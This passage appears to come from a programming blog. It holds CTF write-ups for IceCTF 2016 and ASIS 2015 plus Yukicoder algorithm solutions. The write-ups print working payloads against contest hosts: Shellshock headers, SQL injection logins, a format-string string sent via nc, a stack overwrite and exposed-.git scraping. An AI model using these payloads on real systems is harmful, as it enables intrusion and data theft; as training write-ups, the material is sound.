        time.sleep(args.wait)
    return base64.b64decode(t)

import string
flag = args.prefix or ''
while True:
    padding = '#' * ((- len(header + flag + '#')) % chunk_size)
    assert len(header + padding + flag + '#') % chunk_size == 0
    i =    len(header + padding + flag + '#') // chunk_size - 1
    correct = chunks(query(header + padding))[i]
    for c in list(string.printable):
        if chunks(query(header + padding + flag + c))[i] == correct:
            flag += c
            log.success('flag updated: ' + repr(flag))
            break
    else:
        break
log.success('flag: ' + repr(flag))

IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}

Quine

The server compiles and executes the sent C-language program 20 times, while the program outputs the itself. After some surveying, I’ve noticed that trailing letters are permitted, while it can be compiled.

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='quine.vuln.icec.tf')
parser.add_argument('port', nargs='?', default=5500, type=int)
args = parser.parse_args()

quote = lambda s: s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n')

a = '''\
#include <stdio.h>
#include <dirent.h>
char *code = "'''

b = '''";
void quote(char *s) {
 for (; *s; ++ s) {
  switch (*s) {
   case '\\\\': printf("\\\\\\\\"); break;
   case '"':    printf("\\\\\\"");  break;
   case '\\n':  printf("\\\\n");    break;
   default:     printf("%c", *s);   break;
  }
 }
}
void quine(void) {
 char *s = code;
 for (; *s; ++ s) {
  if (s[0] == '@' && s[1] == '@') {
    quote(code);
    ++ s;
  } else {
    printf("%c", *s);
  }
 }
}
void ls(char *s) {
 DIR *dir = opendir(s);
 struct dirent *ent;
 for(; ent = readdir(dir);) printf("// %s\\n", ent->d_name);
}
void cat(char *s) {
 FILE *fh;
 char buf[64];
 fh = fopen(s, "r");
 printf("// %s", fgets(buf, sizeof(buf), fh));
}
int main(void) {
 quine();
 ls(".");
 ls("..");
 cat("../flag.txt");
 return 0;
}
'''

code = '{}{}@@{}{}'.format(a, quote(a), quote(b), b)

p = remote(args.host, args.port)
p.recvline()
p.sendline(code)
p.sendline('.')
print(p.recvall())

RSA2

In this time, the $n, e, c$ seems ordinal. So you cannot solve this unless the $n$ is easily factorable.

#!/usr/bin/env python3
n = 0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e = 0x10001
c = 0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301

# http://factordb.com
p = 57970027
assert n % p == 0
q = n // p

import gmpy2
from Crypto.PublicKey import RSA
d = lambda p, q, e: int(gmpy2.invert(e, (p-1)*(q-1)))

key = RSA.construct((n, e, d(p,q,e)))
import binascii
print(binascii.unhexlify(hex(key.decrypt(c))[2:]).decode())

Geocities

Solved by @tukejonny.

Do shellshock. The flag is in the MySQL.

$ curl http://geocities.vuln.icec.tf -H 'User-Agent: () { :; } ; echo Content-Type:text/plain ; echo ; /bin/sh -c "ls"'
blog.html
get_posts.pl
img
index.cgi
$ curl http://geocities.vuln.icec.tf -H 'User-Agent: () { :; } ; echo Content-Type:text/plain ; echo ; /bin/sh -c "head index.cgi"'
#!/fbash

IFS=$'\n'
posts_data=`./get_posts.pl`

echo "Content-type: text/html"
echo ""
cat <<EOT
<!DOCTYPE html>
<html>
$ curl http://geocities.vuln.icec.tf -H 'User-Agent: () { :; } ; echo Content-Type:text/plain ; echo ; /bin/sh -c "cat get_posts.pl"'
#!/usr/bin/perl

use strict;
use DBI;

my $dbh = DBI->connect(
    "dbi:mysql:dbname=geocities;host=icectf_mariadb",
    "geocities",
    "geocities",
    { RaiseError => 1 },
) or die $DBI::errstr;

my $sth = $dbh->prepare("SELECT * from Posts ORDER BY post_date DESC");
$sth->execute();

my $row;
while ($row = $sth->fetchrow_arrayref()) {
    print "@$row[1];@$row[2];@$row[3]\n";
}

$sth->finish();
$dbh->disconnect();
$ curl http://geocities.vuln.icec.tf -H 'User-Agent: () { :; } ; echo Content-Type:text/plain ; echo ; /usr/bin/perl -e '\''use DBI ; my $dbh = DBI->connect("dbi:mysql:dbname=geocities;host=icectf_mariadb", "geocities", "geocities", { RaiseError => 1 }, ); my $sth = $dbh->prepare("SELECT * FROM 47a6fd2ca39d2b0d6eea1c30008dd889"); $sth->execute(); my $row; while ($row = $sth->fetchrow_arrayref()) { print "@$row[1];@$row[2];@$row[3]\n"; } $sth->finish(); $dbh->disconnect();'\'''
IceCTF{7h3_g0s_WEr3_5UpeR_wE1Rd_mY_3ye5_HUr7};;

IceCTF 2016: stage2

,

https://icec.tf/

Complacent

Solved by @tukejonny.

The SSL certificate has the flag.

$ curl -kv https://complacent.vuln.icec.tf/
*   Trying 104.154.248.13...
* Connected to complacent.vuln.icec.tf (104.154.248.13) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 697 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
* 	 server certificate verification SKIPPED
* 	 server certificate status verification SKIPPED
* 	 common name: complacent.icec.tf (does not match 'complacent.vuln.icec.tf')
* 	 server certificate expiration date OK
* 	 server certificate activation date OK
* 	 certificate public key: RSA
* 	 certificate version: #3
* 	 subject: C=IS,ST=Kingdom of IceCTF,L=IceCTF city,O=Secret IceCTF Buisness Corp,OU=Flag: IceCTF{this_1nformation_wasnt_h1dd3n_at_a11},CN=complacent.icec.tf
* 	 start date: Tue, 02 Aug 2016 19:59:11 GMT
* 	 expire date: Thu, 09 Jul 2116 19:59:11 GMT
* 	 issuer: C=IS,ST=Kingdom of IceCTF,L=IceCTF city,O=Secret IceCTF Buisness Corp,OU=Flag: IceCTF{this_1nformation_wasnt_h1dd3n_at_a11},CN=complacent.icec.tf
* 	 compression: NULL
* ALPN, server did not agree to a protocol
> GET / HTTP/1.1
> Host: complacent.vuln.icec.tf
> User-Agent: curl/7.47.0
> Accept: */*
> 
...

Search

Solved by @tukejonny.

See the TXT record of DNS.

$ host -t txt search.icec.tf
search.icec.tf descriptive text "IceCTF{flag5_all_0v3r_the_Plac3}"

Hidden in Plain Sight

The flag is written on the .text.

$ xxd plain_sight | grep 00000510 -A 4
00000510: ec0c 50e8 38fe ffff 83c4 10b0 49b0 63b0  ..P.8.......I.c.
00000520: 65b0 43b0 54b0 46b0 7bb0 6cb0 6fb0 6fb0  e.C.T.F.{.l.o.o.
00000530: 6bb0 5fb0 6db0 6fb0 6db0 5fb0 49b0 5fb0  k._.m.o.m._.I._.
00000540: 66b0 6fb0 75b0 6eb0 64b0 5fb0 69b0 74b0  f.o.u.n.d._.i.t.
00000550: 7dc7 45f4 0000 0000 eb2f 83ec 0c6a 01e8  }.E....../...j..

Toke

After logging in, the jwt_token cookie is given.

RFC 7519 says that:

JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties.

You can decode this in some sites like http://jwt.calebb.net/, and get the flag.

Set-Cookie: jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiJob2dlIn0.aTmWNl_wEnIBZSOsYLn1X8NsDXI2Yr2A3LwFN_o_YzE; Path=/
payload:
{
      "flag": "IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}",
      "user": "hoge"
}

Flag Storage

On your browser, since the username and passowrd are sent after base64, but you can use curl to send SQLi directly.

$ curl http://flagstorage.vuln.icec.tf/login.php -F username="' or 1 = 1 -- " -F passowrd=password
...
<h1>Logged in!</h1><p>Your flag is: IceCTF{why_would_you_even_do_anything_client_side}</p>
...

RSA?

It is a trivial RSA. Due to $e = 1$, $c = m^e = m \pmod{n}$. i.e. the ciphertext $c$ is same to the plaintext $m$.

#!/usr/bin/env python3
n = 0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e = 0x1
c = 0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
del n, e
import binascii
print(binascii.unhexlify(hex(c)[2:]).decode())

Demo

Only set the envvar.

[[email protected] /home/demo]$ env _=icesh ./demo
$ ls
Makefile  demo  demo.c  flag.txt
$ cat flag.txt
IceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}

Thor’s a hacker now

Use xxd and lzip.

$ xxd -r thor.txt > thor.lz
$ lzip -dkc thor.lz > thor.jpg
$ open thor.jpg

IceCTF{h3XduMp1N9_l1K3_A_r341_B14Ckh47}

Dear diary

Do format string attack. The binary loads the flag into the static area at the head of main. You can read this with %s.

$ echo $'1\n\xa0\xa0\x04\x08%18$s\n2\n3\n' | nc diary.vuln.icec.tf 6501

IceCTF{this_thing_is_just_sitting_here}

Exposed

http://exposed.vuln.icec.tf/.git can be seen partially. You cannot wget -r directly, but you can download each file: .git/index, .git/HEAD and .git/objects/??/??????????????????????????????????????.

At first, .git/HEAD says:

$ curl http://exposed.vuln.icec.tf/.git/HEAD
ref: refs/heads/master

Then,

$ curl http://exposed.vuln.icec.tf/.git/refs/heads/master
1746e11be489319bd8900318874b68304eb05288

So,

$ curl -s http://exposed.vuln.icec.tf/.git/objects/17/46e11be489319bd8900318874b68304eb05288 | zlib-flate -uncompress
commit 222tree c2b90d32f2ab26ae53144285b05f5020fa320d9b
parent 6034c348380c9709715e6af60d04f684867d7234
author John C. Trevor Fields <[email protected]> 1470865669 +0000
committer IceCTF <[email protected]> 1470953038 +0000

add robots.txt

Next, parent: 6034c348380c9709715e6af60d04f684867d7234 or commit:

$ curl -s http://exposed.vuln.icec.tf/.git/objects/c2/b90d32f2ab26ae53144285b05f5020fa320d9b | zlib-flate -uncompress | xxd
00000000: 7472 6565 2031 3439 0031 3030 3634 3420  tree 149.100644 
00000010: 2e67 6974 6967 6e6f 7265 0037 a843 79d9  .gitignore.7.Cy.
00000020: 2d21 3df0 f3e6 6964 0ed6 8b9e ddea 7d31  -!=...id......}1
00000030: 3030 3634 3420 666c 6167 2e70 6870 0027  00644 flag.php.'
00000040: 0e02 02d7 ef76 fdaf ceee eb10 b10d d762  .....v.........b
00000050: cd00 3b31 3030 3634 3420 696e 6465 782e  ..;100644 index.
00000060: 7068 7000 8aa1 ee18 c010 18ed 1c8b b3f3  php.............
00000070: a437 ccb9 f84a 66ab 3130 3036 3434 2072  .7...Jf.100644 r
00000080: 6f62 6f74 732e 7478 7400 20c7 74a5 17f7  obots.txt. .t...
00000090: ee2d 7437 9ca2 3d80 c200 e887 eac3       .-t7..=.......

Therefore the files are:

  • .gitignore: 37a84379d92d213df0f3e669640ed68b9eddea7d
  • flag.php: 270e0202d7ef76fdafceeeeb10b10dd762cd003b
  • index.php: 8aa1ee18c01018ed1c8bb3f3a437ccb9f84a66ab
  • robots.txt: 20c774a517f7ee2d74379ca23d80c200e887eac3

Recursively doing this, you can get the flag: IceCTF{secure_y0ur_g1t_repos_pe0ple}.

IRC II

Log in the glitch.is:6667 server and use features of the IceBot. It has flag command, but you cannot use this simply.

/msg IceBot !flag
13:00   hoge    !flag
13:00   IceBot  KeyError: Identifier('hoge') (file "/usr/local/lib/python2.7/dist-packages/sopel/module.py", line 321, in guarded)

Read the specified code https://github.com/sopel-irc/sopel/blob/master/sopel/module.py#L321, it seems to require a privilege. So I tried to become a room admin. This is done by making a new room.

/join fuga
/invite IceBot
!flag
14:00   hoge    !flag
14:00   IceBot  IceCTF{H3Re_y0U_9O_M4s7Er_m4kE_5uR3_yOU_K33P_iT_54F3}

RSA

The private key info is given. Only compute $m = c^d \pmod{n}$.

#!/usr/bin/env python3
n = 0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e = 0x10001
phi = 0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d = 0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c = 0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469
del e, phi
m = pow(c, d, n)
import binascii
print(binascii.unhexlify(hex(m)[2:]).decode())

Smashing Profit!

Send the addresses of the flag function and rewrite the return address.

$ readelf -s profit | grep flag
    72: 0804850b    83 FUNC    GLOBAL DEFAULT   13 flag
$ perl -e 'print "\x0b\x85\x04\x08" x 24' | ./profit

Miners!

The source code is given as login.phps. It requires that the number of hit rows is just $1$. So we don’t need to know any username and password, and union shows the flag.

$ curl -s http://miners.vuln.icec.tf/login.php -F username="' union select 1,2,3 -- " -F password=foo
<h1>Logged in!</h1><p>Your flag is: IceCTF{the_miners_union_is_a_strong_one}</p>

Over the Hill

Decrypt as Hill cipher. I couldn’t find any good decrypter for this problem, so I write it: https://github.com/kmyk/hill-cipher-implementation.

$ python
>>> alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}"
>>> matrix = [[54, 53, 28, 20, 54, 15, 12,  7],
...           [32, 14, 24,  5, 63, 12, 50, 52],
...           [63, 59, 40, 18, 55, 33, 17,  3],
...           [63, 34,  5,  4, 56, 10, 53, 16],
...           [35, 43, 45, 53, 12, 42, 35, 37],
...           [20, 59, 42, 10, 46, 56, 12, 61],
...           [26, 39, 27, 59, 44, 54, 23, 56],
...           [32, 31, 56, 47, 31,  2, 29, 41]]
>>> ''.join([alphabet[i] for i in sum(matrix, [])])
32Cu3pmhGoyf}mY1}8Os4Hrd}Ife5k2qJRT2mQJLu8QkU5m_ANB8S3x5GF5VFcDP
$ ./hill.py -a 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}' -k '32Cu3pmhGoyf}mY1}8Os4Hrd}Ife5k2qJRT2mQJLu8QkU5m_ANB8S3x5GF5VFcDP' decrypt '7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ'
IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}

Kitty

The hash value whose length is 64 is given. The login form is like below, so it seems the password matchs [A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:].

        <form method="post" action="login.php">
            <label for="username">Username: </label>
            <input class="u-full-width" type="text" name="username" placeholder="Username" required minlength="5" />
            <label for="password">Password: </label>
            <input id="password" class="u-full-width" type="password" name="password" placeholder="Password" required pattern="[A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:]" />
            <input type="submit" value="Log In" />
        </form>

So I wrote a very simple script, and wait for a while.

for a in {A..Z} ; do
    for d in {a..z} ; do
        for m in {0..9} ; do
            for i in {0..9} ; do
                for n in \? \% \$ \@ \# \^ \* \( \) \[ \] \; \: ; do
                    if diff <(echo -n $a$d$m$i$n | sha256sum | grep -o '\w*') <(echo c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a) >/dev/null ; then
                        echo $a$d$m$i$n
                    fi
                done
            done
        done
    done
done

shows Vo83*, IceCTF{i_guess_hashing_isnt_everything_in_this_world}.


IceCTF 2016: stage1

,

https://icec.tf/

Hello World!

IceCTF{h3l10_wr0ld}

Spotlight

There is a line console.log("DEBUG: IceCTF{5tup1d_d3v5_w1th_th31r_l095}"); in the /spotlight.js.

All your Base are belong to us

Read as ascii codes written in binary number.

$ cat flag.txt | tr ' ' '\n' | ruby -pe '$_ = $_.to_i(2).chr'

IceCTF{al1_my_bases_are_yours_and_all_y0ur_bases_are_mine}

Rotated!

$ alias rot13='tr A-Za-z N-ZA-Mn-za-m'
$ echo 'VprPGS{jnvg_bar_cyhf_1_vf_3?}' | rot13
IceCTF{wait_one_plus_1_is_3?}

Substituted

Caesar cipher. Make the table.

#!/usr/bin/env python3
s = 'WvyVKT Lw wd j Gyzvecy dsbdkwksky tzjq joy vorakeqojalr jaazwvjkwemd jmu ljxy'
t = 'IceCTF Hi is a Welcome substitute flag are cryptography applications and have'
f = {}
for x, y in zip(s, t):
    if x == y == ' ':
        continue
    if x in f:
        assert f[x] == y
    f[x.lower()] = y.lower()
    f[x.upper()] = y.upper()
with open('crypted.txt') as fh:
    s = fh.read()
    print(s, end='')
    for c in s:
        if c in f:
            c = f[c]
        print(c, end='')

IceCTF{always_listen_to_your_substitute_flags}

IRC I

Only connect the IRC server.

$ irrsi
/connect glitch.is
/list
21:21 -!- #6470e394cb_flagshare 5 [+nt] Get your flags here! while they're hot! IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}

Alien Message

Google alien font for images, https://www.google.co.jp/search?q=alien+font&tbm=isch, and read it.

Time Traveler

Do time travel.

http://web.archive.org/web/20160601212948/http://time-traveler.icec.tf/.

Scavenger Hunt

$ curl -s https://icec.tf/sponsors | grep 'IceCTF{.*}'
            <img class="activator" src="/static/images/logos/syndis.png" alt="IceCTF{Y0u_c4n7_533_ME_iM_h1Din9}">

ASIS Cyber Security Contest 2015: simple

,

https://github.com/ctfs/write-ups-2015/tree/master/asis-finals-ctf-2015/crypto/simple

これは分からない。解説を見た: https://kt.pe/blog/2015/10/asis-2015-finals-simple/

入力は以下の文字列のみ。

110d00_000a0701_1a00_00120812_171b1a171500111a150011_001b_071006001901_0900_787100_00091b00_00130805120f0908_0900_5143594353445602000105_140b0a000b_00021500151e141514_1b00_0a15000b0b0c0b02_1000131117_000f05_0a030000031b0908_001b_101f1c001a1d14_435340424400

_を空白つまり単語の区切りとして、各文字が$16$進数$2$桁に何らかで変換されて書かれているのかもしれない、というのは推測できる。 これは実際正しくて、各単語ごとに決められた鍵となる$1$文字とのxorが書かれていたようだ。 情報量が少ないので消去法的にも、問題名からしても、xorというのは分からなくもないがつらい。 各単語ごとに鍵というのが特に厳しいのだが、各単語ごとに一箇所の00を含むことから推測できたのかもしれない。

各単語ごとに一箇所の00を含むため、鍵はprintableなもののみを試せばよい。それでもけっこうつらいので、spell checkerのようなものを試した。 MD5asisのようなものは固有名詞であるので無視するとしても、pythonのlibraryとしてnltkenchantを試したが、どちらも辞書が弱いのか(stemmmingをしても)prependを認識させられなかった。 wamerican-largeiamerican-largeとしてaptで入る辞書には載っていたので頑張ってほしい。

最終的にthe flag is asis concatenate to result of MD5 hash function of asisctf2015 which prepended to opening brace and followed by closing brace!が復元できる。

#!/usr/bin/env python3
import string
import binascii

import nltk # with $ python3 -m nltk.downloader words
words = nltk.corpus.words.words
stem = nltk.stem.porter.PorterStemmer().stem

with open('encryted') as fh:
    ciphertext = fh.read().strip()
print(ciphertext)

for w in ciphertext.split('_'):
    y = binascii.unhexlify(w).decode()
    xs = []
    for k in string.printable:
        x = ''
        for c in y:
            c = chr(ord(c) ^ k)
            if c in string.printable:
                x += c
            else:
                x = ''
                break
        if x:
            xs += [x]
    zs = []
    for x in xs:
        if stem(x) in words():
            zs += [x]
    if zs:
        print(w, zs)
    else:
        print(w, xs)

Yukicoder No.417 チューリップバブル

,

http://yukicoder.me/problems/no/417

solution

よくある感じの木DP。ある頂点$i$からの部分木で時間$t$かけて得られる金額の最大値でDP。$\mathrm{dp}_i : M \to \mathbb{N}$を$N$回mergeするので全体で$O(NM^2)$。 使った辺は必ず$2$度使うことを考えると、DP表の大きさは正確には$\lfloor \frac{M}{2}\rfloor + 1$で済む。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#include <tuple>
#include <functional>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) y) { return (f)(begin(y), end(y), ## __VA_ARGS__); })(x)
typedef long long ll;
using namespace std;
template <class T> void setmax(T & a, T const & b) { if (a < b) a = b; }
const ll inf = ll(1e18)+9;
int main() {
    // input
    int n, m; cin >> n >> m;
    vector<int> u(n); repeat (i,n) cin >> u[i];
    vector<vector<pair<int,int> > > g(n);
    repeat (i,n-1) {
        int a, b, c; cin >> a >> b >> c;
        g[a].emplace_back(b, c);
        g[b].emplace_back(a, c);
    }
    // compute
    function<vector<ll> (int, int)> dfs = [&](int i, int p) {
        vector<ll> cur(m/2+1, - inf);
        cur[0] = u[i];
        for (auto it : g[i]) {
            int j, c; tie(j, c) = it;
            if (j == p) continue;
            vector<ll> nxt(m/2+1, - inf);
            vector<ll> prv = dfs(j, i);
            repeat (x,m/2+1) {
                setmax(nxt[x], cur[x]);
                repeat (y,m/2+1) {
                    if (x+y+c >= m/2+1) break;
                    setmax(nxt[x+y+c], cur[x] + prv[y]);
                }
            }
            cur.swap(nxt);
        }
        return cur;
    };
    vector<ll> dp = dfs(0, -1);
    // output
    cout << *whole(max_element, dp) << endl;
    return 0;
}

Yukicoder No.416 旅行会社

,

http://yukicoder.me/problems/no/416

solution

逆から辺を復元していけばよい。union-find木で結合していって、初めて根と繋がった時点が初めて根から切断された時刻。 ただし、各成分中の頂点番号も記憶しておく必要があるため、データ構造をマージする一般的なテクを使って計算しておく。 $O(N \log N + M + Q \alpha(N))$。

implementation

union find木に一般的な付加情報という形で成分の要素を載せた。 成分の要素の逆引きに特化させてもよかったかもしれない。

#include <iostream>
#include <vector>
#include <set>
#include <functional>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < (n); ++(i))
#define repeat_reverse(i,n) for (int i = (n)-1; (i) >= 0; --(i))
using namespace std;

template <typename T>
struct disjoint_sets { // with data
    vector<int> xs;
    vector<T> data;
    function<void (T &, T &)> append;
    template <typename F>
    disjoint_sets(size_t n, T initial, F a_append) : xs(n, -1), data(n, initial), append(a_append) {}
    bool is_root(int i) { return xs[i] < 0; }
    int find_root(int i) { return is_root(i) ? i : (xs[i] = find_root(xs[i])); }
    int set_size(int i) { return - xs[find_root(i)]; }
    int union_sets(int i, int j) {
        i = find_root(i); j = find_root(j);
        if (i != j) {
            if (set_size(i) < set_size(j)) swap(i,j);
            xs[i] += xs[j];
            xs[j] = i;
            append(data[i], data[j]);
        }
        return i;
    }
    bool is_same(int i, int j) { return find_root(i) == find_root(j); }
};

int main() {
    // input
    int n, m, q; cin >> n >> m >> q;
    vector<int> a(m), b(m);
    repeat (j,m) {
        cin >> a[j] >> b[j];
        -- a[j]; -- b[j];
    }
    vector<int> c(q), d(q);
    repeat (j,q) {
        cin >> c[j] >> d[j];
        -- c[j]; -- d[j];
    }
    // compute
    disjoint_sets<set<int> > g(n, set<int>(), [&](set<int> & a, set<int> & b) {
        a.insert(b.begin(), b.end());
        b = set<int>(); // free
    });
    repeat (i,n) {
        g.data[i].insert(i);
    }
    set<pair<int,int> > breaking;
    repeat (j,q) {
        breaking.emplace(c[j], d[j]);
    }
    repeat (j,m) {
        if (breaking.count(make_pair(a[j], b[j]))) continue;
        g.union_sets(a[j], b[j]);
    }
    const int root = 0;
    vector<int> ans(n);
    repeat (i,n) {
        if (g.is_same(root, i)) {
            ans[i] = -1;
        }
    }
    repeat_reverse (j,q) {
        if (g.is_same(c[j], d[j])) continue;
        set<int> connected;
        if (g.is_same(root, c[j])) connected.swap(g.data[g.find_root(d[j])]);
        if (g.is_same(root, d[j])) connected.swap(g.data[g.find_root(c[j])]);
        g.union_sets(c[j], d[j]);
        for (int i : connected) {
            assert (ans[i] == 0);
            ans[i] = j+1;
        }
    }
    // output
    assert (ans[root] == -1);
    repeat_from (i,1,n) {
        cout << ans[i] << endl;
    }
    return 0;
}

Yukicoder No.415 ぴょん

,

http://yukicoder.me/problems/no/415

solution

gcd。$O(\log N)$。

移動できなくなったとき、次の移動先は必ず$0$である。そうでない場合を考えれば簡単に示せる。 つまり、$k = \min \{ k \gt 0 \mid kD \equiv 0 \pmod N \}$な$k$を求めればよい。$k-1$が答え。 $kD \equiv 0 \pmod N$は$\exists x \gt 0. kD = xN$と等しい。 $d = \mathrm{gcd}(N, D)$とすれば、kd\frac{D}{d} = xd\frac{N}{d}$であり、$k = \frac{N}{d}$を言うことができる。

implementation

#!/usr/bin/env python3
import math
n, d = map(int,input().split())
print(n // math.gcd(n, d) - 1)

Yukicoder No.414 衝動

,

http://yukicoder.me/problems/no/414

$\sqrt{M}$まで試し割りすればよいので$O(\sqrt{M})$。

なんとなくfactorに投げてみたが、普通に書いた方が楽だったと思う。 何かの拍子にWAになって再提出になりそうだし。

#!/bin/bash
read line
a=1
b=1
for n in `factor $line | cut -d: -f 2` ; do
    if [ $a -eq 1 ] ; then
        a=$[$a * $n]
    else
        b=$[$b * $n]
    fi
done
echo $a $b

ASIS Cyber Security Contest 2015: bodu

,

https://github.com/ctfs/write-ups-2015/tree/master/asis-finals-ctf-2015/crypto/bodu

解けない。writeupを見た: https://kt.pe/blog/2015/10/asis-2015-finals-bodu/

与えられるのはpub.key。RSAの公開鍵。

$ openssl rsa -text -noout -pubin -in pub.key
Public-Key: (1018 bit)
Modulus:
    03:a6:16:08:48:fb:17:34:cb:d0:fa:22:ce:f5:82:
    e8:49:22:3a:c0:45:10:d5:15:02:55:6b:64:76:d0:
    73:97:f0:3d:f1:55:28:9c:20:11:2e:87:c6:f3:53:
    61:d9:eb:62:2c:a4:a0:e5:2d:9c:d8:7b:f7:23:52:
    6c:82:6b:88:38:7d:06:ab:c4:27:9e:35:3f:12:ad:
    8e:c6:2e:a7:3c:47:32:1a:20:b8:96:44:88:9a:79:
    2a:73:15:2b:c7:01:4b:80:a6:93:d2:e5:8b:12:3f:
    a9:25:c3:56:b1:eb:a0:37:a4:dc:ac:8d:8d:e8:09:
    16:7a:6f:cc:30:c5:c7:85
Exponent:
    03:65:96:2e:8d:ab:a7:ba:92:fc:08:76:8a:5f:73:
    b3:85:4f:4c:79:96:9d:55:18:a0:78:a0:34:43:7c:
    46:69:bd:b7:05:be:4d:8b:8b:ab:f4:fd:a1:a6:e7:
